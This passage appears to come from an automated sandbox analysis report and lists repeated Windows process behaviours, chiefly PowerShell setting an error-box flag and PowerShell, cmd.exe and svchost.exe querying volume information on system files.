Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.27323.0_x64__8wekyb3d8bbwe VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
